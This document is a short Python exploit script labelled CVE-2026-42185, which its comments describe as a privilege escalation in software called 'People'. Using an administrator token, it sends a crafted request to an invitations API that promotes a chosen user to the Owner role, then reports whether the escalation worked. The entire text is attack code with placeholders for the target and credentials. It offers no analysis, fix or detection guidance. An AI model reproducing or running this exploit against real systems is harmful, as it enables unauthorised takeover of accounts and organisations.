CVE-2026-42185

import requests # Exploit for CVE-2026-42185: Privilege Escalation in People # Note: Requires authentication as a Domain Administrator. target_url = "https://<target-domain>/api/invitations" headers = { "Authorization": "Bearer <ADMIN_TOKEN>", "Content-Type": "application/json" } # Malicious payload to promote user to Owner payload = { "user_id": "<target_user_id>", "role": "Owner", "domain_id": "<domain_id>" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success: User privileges escalated to Owner.") else: print(f"[-] Failed: {response.status_code}")

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